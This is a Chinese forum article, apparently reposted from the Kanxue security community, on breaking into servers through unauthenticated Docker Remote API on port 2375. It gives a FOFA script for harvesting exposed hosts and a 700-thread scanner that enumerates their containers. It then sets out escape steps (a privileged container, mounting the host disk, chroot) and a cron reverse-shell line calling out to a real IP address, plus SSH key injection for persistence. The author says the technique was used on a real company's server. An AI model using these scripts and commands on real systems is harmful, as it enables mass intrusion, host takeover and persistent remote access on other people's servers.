社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

Docker-remoter-api渗透

看雪学苑 • 4 年前 • 749 次点击  


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:H.R.P




漏洞简介及危害


Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。
 
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。


声明及前提


第一次挖洞,靠这个漏洞拿下了南京某大公司的一台服务器已获得cnvd编号,就写这篇文章记录分享下。

本文仅供学习参考,如若保存下载后请在12小时内删除,不然后果自负。不得传播,商用以及利用文中技术进行非法活动,否则后果自负。严禁转载,否则一切后果自负。



实战


直接fofa搜docker 协议 端口 2375的资产全爬下来 然后用脚本检测。


fofa爬取脚本

#encoding=utf-8import requestsimport base64import sys  email = r'xxx@qq.com'api_key = r'fofa_api_key'api = r'https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'arg = sys.argv[1]print(arg)flag = base64.b64encode(arg.encode()).decode()


    
response = requests.get(api.format(email,api_key,flag))results = response.json()["results"]print("共搜索到{}条记录!".format(len(results)))file_name = r"{}.txt".format(arg)f = open(file_name,"a")for addr in results:    f.write(addr[0]+'\n')f.close()


2375端口检测脚本

# python3# by 5wimmingimport queueimport threadingimport timeimport requestsimport jsonimport docker thread_lock = threading.Lock()out_result = []  # 输出列表multi = 700  # 线程数量queueSize = 800  # 申请队列空间大小,值一般略大于multi的值input_file_path = "./port=2375.txt"  # 输入文件路径,每个ip一行output_file_path = './result.txt' #输出文件路径ports = ['2375']  # 扫描端口wait_time = 5  # 文件线程准备时间(s),默认1s,若需要读取的文件大小大于10M可增加至5s以上,文件越大设置的时间理论上越长  def read_file():    with open(input_file_path, 'r') as fp:        file_data = fp.readlines()    data_list = file_data    data_length = len(data_list)    flag_xy = 0    while flag_xy != data_length:        while (not workQueue.full()) and (flag_xy != data_length):            workQueue.put(data_list[flag_xy])            flag_xy += 1        continue    print("文件内容放入队列完成")  def multi_start_main():    while not workQueue.empty():        file_line_api = workQueue.get()        custom_def(file_line_api)  def http_get(url):    response = requests.get(url)    return response.text  def get_version(host, port):    url = "http://"+host+":"+port+"/version"    ret = json.loads(http_get(url))    client_api_version = ret['ApiVersion']    return client_api_version  def get_container(host, port, docker_version):    cli = Client(base_url='tcp://'+host+':'+port, version=docker_version)    return cli  def custom_def(file_line_api):    ip = file_line_api.strip()    result = ''    for port in ports:        try:            docker_version = get_version(ip, port)            result = ip + '\t' + port + '\tversion:' + docker_version            docker_containers = get_container(ip, port, docker_version)


    
            result += '\t' + str(docker_containers.containers(all=True))        except Exception as e:            print(ip, e)        if result:            print('success:', result)            with thread_lock:                out_result.append(result)            break  if __name__ == '__main__':    threads = []    workQueue = queue.Queue(queueSize)    fileThread = threading.Thread(target=read_file)    fileThread.start()    print("文件读取线程准备时间%ss" % wait_time)    time.sleep(wait_time)    for i in range(multi+1):        thread = threading.Thread(target=multi_start_main)        thread.start()        threads.append(thread)    for t in threads:        t.join()    fileThread.join()    with open(output_file_path, 'w') as fw:        fw.writelines(out_result)    print("主线程结束,任务完成")


docker远程连接列出镜像目录


可以发现2375端口开启,并且是不需要授权访问的。
 

docker逃逸


前提:靶机服务器需要能执行docker run指令。
sudo docker run -itd --privileged=true ubuntu:latest /bin/bash


逃逸指令

新建一个目录:mkdir /test挂载磁盘到新建目录:mount /dev/vda1 /test切换根目录:chroot /test

至此已经可以控制宿主机了,但是关于反弹shell以及写入自己的ssh密钥这个不一定可以直接操作,由于风险原因我不会进行反弹shell和ssh密钥写入,方法如下:
写计划任务,反弹宿主机Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要写SSH的话,需要挂载宿主机的root目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私钥登录。写计划任务,反弹宿主机Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要写SSH的话,需要挂载宿主机的root目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私钥登录。



额外逃逸思路


如果上面的逃逸办法用不了,服务器上有用docker挂载web服务可以尝试进入容器上webshell变相拿下。




看雪ID:H.R.P

https://bbs.pediy.com/user-home-921599.htm

*本文由看雪论坛 H.R.P 原创,转载请注明来自看雪社区

# 往期推荐

1.Writeup-ROP Emporium fluff

2.Windows内核-句柄

3.APT28样本超详细分析

4.java序列化与反序列化

5.CVE-2022-21999 Windows Print Spooler 权限提升漏洞分析

6.针对自动驾驶中交通灯识别的对抗性激光攻击






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/132300